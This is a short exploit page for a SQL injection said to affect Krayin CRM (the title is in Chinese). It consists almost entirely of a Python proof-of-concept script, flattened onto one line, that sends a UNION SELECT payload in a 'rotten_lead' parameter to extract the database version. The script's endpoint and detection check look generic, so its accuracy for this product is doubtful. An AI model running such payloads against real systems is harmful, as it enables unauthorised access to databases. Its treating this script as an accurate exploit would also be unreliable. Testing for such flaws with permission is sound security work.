CVE-2026-38528 Krayin CRM SQL注入漏洞

import requests # Target URL (replace with actual target) target_url = "http://target.com/Lead/LeadDataGrid.php" # Malicious payload to test SQL injection # Example: Attempt to extract database version payload = "1' UNION SELECT 1, version(), 3, 4, 5-- -" # Parameters to be sent params = { "rotten_lead": payload } try: # Send GET request to the vulnerable endpoint response = requests.get(target_url, params=params, timeout=10) # Check if request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) # Analyze response to confirm vulnerability (pseudocode logic) if "mysql" in response.text.lower() or "syntax error" in response.text.lower(): print("[!] Potential SQL Injection vulnerability confirmed.") else: print("[-] Vulnerability not confirmed via simple response check.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")